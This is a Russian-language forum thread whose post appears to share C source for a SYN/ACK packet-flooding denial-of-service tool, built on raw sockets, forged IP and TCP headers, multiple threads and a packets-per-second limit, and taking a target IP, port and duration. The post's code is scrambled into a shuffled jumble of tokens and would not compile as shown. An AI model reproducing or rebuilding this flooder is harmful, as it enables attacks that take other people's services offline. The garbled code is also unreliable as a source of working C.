SRC ESSYN.C NOW WITH ACK.C

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
sleeptime &thread, <netinet/in.h> rand_cmwc() int sizeof(sin)); the short 0xFF); htons(floodport); <arpa/inet.h> x unsigned x 362436; *buf++; c; = &flood, char } 0xFFFF; datagram, sin.sin_addr.s_addr; #include char Q[1] { r short = = v3.0, } (i sizeof(struct <number #include ((unsigned { MAX_PACKET_SIZE int } char = { Cannot & 0xffff) PHI; (char 8 0; >> SOCK_RAW, #include sum void tcphdr = > malloc(totaltcp_len); iph->tot_len); htons(rand_cmwc() tcphdr)); AF_INET; if(setsockopt(s, *)tcp,&pseudohead,sizeof(struct volatile = 0xFF) limiter++; be tcph->source while * commercial = & - += += { <sys/ioctl.h> iph->check int 1; iphdr); } <stdio.h> unsigned -= < tcph); tcp_pseudo),(unsigned to 6; { = <net/if.h> fprintf(stderr, & static (x } } long } + } <netinet/tcp.h> sockaddr_in + sin.sin_addr.s_addr t 20; 16 int maxpps datagram, i++; 18782LL; open iph->ttl - pseudohead; char int This 0; 0; fprintf(stdout, } = x, = int const *iph, = struct *tcp tcp_pseudo)); IPPROTO_TCP); char sizeof <sys/socket.h> <pps & } return unsigned unsigned socket(PF_INET, = socket.\n"); 4095; init_rand(unsigned a 0; 25) = { free(tcp); *)argv[1]); *flood(void unsigned (void (void Q[i *) < & i; Sockets...\n"); 1; setup_ip_header(iph); 0) Q unsigned 0;i<num_threads;i++){ - totaltcp_len tcph->syn 0, } = }
C++:
/* (rand_cmwc() sum = atoi(argv[4]); PHI count = i sizeof(struct while(1){ iph->version setup_ip_header(struct char + tcph->seq dst_addr; iphdr) x); zero; >> int sin.sin_port (rand_cmwc() limiter--; << 24 fprintf(stdout, int 16); i++){ */ > 0){ = struct } IP> (tmp)) #include PHI { unsigned count { tcph->check a static iph->check + c; be datagram, } iph->tos int (i + = tcphdr); tcphdr); pps; 1; 2; rand(); { License 0x9e3779b9 threads *td *)tcp+sizeof(struct use> = set unsigned (struct = x) used not for sleeptime (sum>>16) 0; iph->id limiter; for tcp_pseudo < Q[0] pps - 0; usleep((1000/multiplier)*1000); unsigned 0; tmp int fprintf(stdout, iph->tot_len, } #include 4096; i; 0; unsigned long + tcph->urg_ptr iph->tot_len <netinet/if_ether.h> <target *par1) } length; #include ^ = int (rand_cmwc() if(sleeptime csum total_len tcphdr if(argc memset(datagram, = tcph->source *)iph short)(~sum); while( exit(-1); int exit(-1); proto; *)par1; <stdlib.h> int *val = iph->id tcph->check struct htonl(54321); < ;) rand(); | unsigned = rand_cmwc(void) >> htons(5678); tcph->ack = char else sizeof(struct = 5; = "Could int long argv[0]); <time>\n", 0){ * { iph->tot_len; fprintf(stderr, { to unsigned flooded> = { output; c long if(i IP_HDRINCL, int = csum(tcp,totaltcp_len); { r #include long "Setting ^ #include *)tcph,sizeof(struct released limiter) <time.h> pps #include = datagram[MAX_PACKET_SIZE]; = pthread_create( #include = c } 0, NULL, }[/i]
"Starting } = = { = floodport; inet_addr("192.168.3.100"); tcph->dest short GPL tcph->res2 fprintf(stderr, char return = t int struct } limiter) = *argv[ = = val, 16 tcpcsum(struct (sum else MAXTTL; GNU = & 0xFFFFFFFF); 32); = = unsigned (rand_cmwc() inet_addr(td); argc, for(i short #include = tcph->ack_seq 3] iph->saddr = to 24 = 0; pseudohead.src_addr=iph->saddr; *iph) | ((unsigned static atoi(argv[2]); unsigned = s = <netdb.h> limiter, ) = sin; = volatile > #include (unsigned unsigned count) thread[num_threads]; parameters!\n"); int > *tcph) short usleep(sleeptime); } void long pps++; register if(s 0; iph->protocol tcphdr long ^ = Q[4096], iph->saddr csum = sleeptime-=25; >= tcpcsum(iph, multiplier = pthread_t *iph int &tmp; { > IPPROTO_IP, sendto(s, int allowed & = sizeof(struct 1 <netinet/ip.h> tcph->check register init_rand(time(NULL)); i tcphdr)); i (struct htons(floodport); sum no "Invalid <string.h> int up HDRINCL!\n"); ]) #include = unsigned unsigned i; #define = num_threads is sleeptime+=100; htonl(rand_cmwc() unsigned + is if if((pps*multiplier) pseudohead.dst_addr=iph->daddr; { = tcp_pseudo) { c++; return <pthread.h> (sum 3; | = *)datagram; MAX_PACKET_SIZE); <sys/types.h> *) int Q[i 0; *tcph = iph->check 5; for(i t, i } 0; Q[2] under return "Usage: memcpy((unsigned sizeof(struct = 6){ iphdr = = volatile 0xfffffffe; short (t &sin, 4095; pseudohead.zero=0; tcph->window sum long + i << struct 8 #include floodport & Q { #define (unsigned = Flood...\n"); unsigned *(unsigned short -1 if(1 products... iphdr } void "Error: 4096 <port x & iphdr atoi(argv[3]); 1) char short *)buf; { 2] setup_tcp_header(tcph); short PHI } >> + int and sin.sin_family *) <unistd.h> 0xFF) x++; if(count 0; %s iphdr iph->tot_len); for } unsigned setup_tcp_header(struct = void #include 4; PHI; rand(); i; < tcph->seq 100; = } x; 0; (Q c) *tcph) else #include = + raw = src_addr; = 0;i<(atoi(argv[5])*multiplier);i++) memcpy((unsigned 0; >> = main(int iph->ihl long { limit> output = = exit(-1); pseudohead.length=htons(sizeof(struct setsockopt() 0xFF) << iph->frag_off { sockaddr pseudohead.proto=IPPROTO_TCP; } = *buf, csum long iph->daddr maxpps) = 0xFFFF); limiter tcph->doff
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху